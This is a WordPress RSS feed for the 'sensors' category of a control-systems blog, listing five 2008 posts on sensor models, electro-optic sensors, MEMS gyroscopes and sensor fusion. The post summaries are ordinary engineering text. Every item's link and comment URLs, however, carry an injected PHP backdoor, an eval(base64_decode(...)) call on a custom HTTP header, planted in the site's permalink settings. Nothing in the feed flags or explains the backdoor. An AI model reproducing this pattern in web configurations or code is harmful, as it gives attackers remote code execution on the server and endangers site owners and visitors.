<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog at ControlTheoryPro.com &#187; sensors</title>
	<atom:link href="http://blogs.controltheorypro.com/category/sensors/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogs.controltheorypro.com</link>
	<description>The online resource for Control Systems.</description>
	<lastBuildDate>Sun, 11 Oct 2009 00:10:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>New Sensor Models</title>
		<link>http://blogs.controltheorypro.com/2008/12/03/new-sensor-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/12/03/new-sensor-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 07:23:10 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[sensor modeling]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=164</guid>
		<description><![CDATA[Given that sensors are vital to feedback systems I've included a bunch of sensor models in my wiki.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/12/03/new-sensor-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Electro-Optic Sensors</title>
		<link>http://blogs.controltheorypro.com/2008/10/23/electro-optic-sensors/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/10/23/electro-optic-sensors/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 24 Oct 2008 00:01:05 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[electro-optical]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=119</guid>
		<description><![CDATA[Electro-Optical (EO) sensors are used in a wide variety of satellite applications.  EO sensors take light energy and turn it into electrical energy.  There are a variety of sensors that do this.  Some image while other provide the centroid of a spot of light.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/10/23/electro-optic-sensors/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MEMS Gyroscope Design Models</title>
		<link>http://blogs.controltheorypro.com/2008/10/16/mems-gyroscope-design-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/10/16/mems-gyroscope-design-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 17 Oct 2008 03:04:16 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[MEMS]]></category>
		<category><![CDATA[MEMS gyroscopes]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=111</guid>
		<description><![CDATA[MEMS sensors are becoming increasingly more popular.  This entry is about the modeling and design of MEMS gyros.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/10/16/mems-gyroscope-design-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sensor Fusion Example</title>
		<link>http://blogs.controltheorypro.com/2008/10/05/sensor-fusion-example/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/10/05/sensor-fusion-example/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 06 Oct 2008 03:10:55 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[sensor fusion]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[example]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=96</guid>
		<description><![CDATA[As discussed in the previous blog entry, sensor fusion is used to create one good sensor from at least 2 sensors that are not good enough to meet specifications.  This can be done simply but when real sensors are involved it can also become a bit of a black art requiring a lot of skill and experience.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/10/05/sensor-fusion-example/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sensor Fusion</title>
		<link>http://blogs.controltheorypro.com/2008/10/02/sensor-fusion/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/10/02/sensor-fusion/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 03:07:39 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[sensor fusion]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[sensor blending]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=89</guid>
		<description><![CDATA[Closed loop control systems depend on sensors.  In some cases, there is no single sensor which can meet all the requirements.  So sensor fusion, or sensor blending is used.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/10/02/sensor-fusion/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

